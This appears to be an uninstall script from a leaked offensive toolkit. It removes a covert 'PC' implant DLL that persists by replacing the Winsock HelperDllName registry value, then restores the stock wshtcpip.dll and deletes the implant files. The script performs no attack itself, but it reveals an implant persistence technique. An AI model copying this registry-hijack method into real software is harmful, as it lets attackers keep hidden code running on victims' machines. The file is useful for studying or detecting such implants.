shadowbrokers-exploits/windows/Resources/Pc/Scripts/Install/winnt/WinsockHelp/_Uninstall.dss
2017-04-14 11:45:07 +02:00

128 lines
2.6 KiB
Text

@include "_File.dsi";
@include "_Paths.dsi";
@include "windows/_RegistryIncludes.dsi";
@echo off;
@disablewow64 on;
if ($argc != 1)
{
echo("* Invalid parmeters", ERROR);
echo();
echo("Usage: $argv[0]");
return false;
}
string $regKey = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Winsock";
string $regKeyValue = "HelperDllName";
string $defaultPath = "\%\%SystemRoot\%\%\\System32";
# get install name
string $payloadPath = $defaultPath;
string $payloadName = "wshencrp.dll";
if (!GetInput("PC DLL install path", $payloadPath, $payloadPath) ||
!GetInput("PC DLL install name", $payloadName, $payloadName))
{
echo("* Failed to get install name and path", ERROR);
return false;
}
# get the system path
string $sysPath;
if (!_GetSystemPath($sysPath))
{
echo("* Failed to get system path", ERROR);
return false;
}
string $usePath = $payloadPath;
if ($payloadPath == $defaultPath)
{
$usePath = $sysPath;
}
# make sure the file exists
if (!_FileExists($payloadName, $usePath))
{
echo("* Failed to find $usePath\\$payloadName", ERROR);
return false;
}
# get the HelperDllName value
string $origKeyValue;
if (!_GetRegistryValue("L",
$regKey,
$regKeyValue,
$origKeyValue) || !defined($origKeyValue))
{
$origKeyValue = "";
}
if ($origKeyValue != "$payloadPath\\$payloadName")
{
echo("* Failed to find $payloadPath\\$payloadName in $regKeyValue key", ERROR);
if (!prompt("Continue with uninstall?", false))
{
return false;
}
}
# update the registry key
echo "Updating registry";
if (!_SetRegistryValue("L",
$regKey,
$regKeyValue,
"$defaultPath\\wshtcpip.dll",
"REG_EXPAND_SZ"))
{
echo(" FAILED", ERROR);
pause;
return false;
}
echo(" SET", GOOD);
# Uninstall SysWOW64-equivalent helper dll.
string $arch;
_GetArch($arch);
if ($arch == "x64")
{
echo "Deleting homonymous SysWOW64 helper DLL";
string $homonymousDll;
$homonymousDll = "$sysPath\\$payloadName";
RegExSub("system32","SysWOW64",$homonymousDll);
if(!_FileExists($homonymousDll))
{
echo(" NOT FOUND (OK)", GOOD);
}
else
{
if(!`del $homonymousDll`)
{
echo(" FAILED", ERROR);
}
else
{
echo(" FINISHED", GOOD);
}
}
}
echo "Deleting PC";
if (!`delete -file "$usePath\\$payloadName" -afterreboot`)
{
echo(" FAILED", ERROR);
}
else
{
echo(" MARKED FOR DELETION", GOOD);
}
echo "Uninstall Finished";
echo "$regKeyValue before : '$origKeyValue'";
echo " $regKeyValue after : '$defaultPath\\wshtcpip.dll'";
pause;
return true;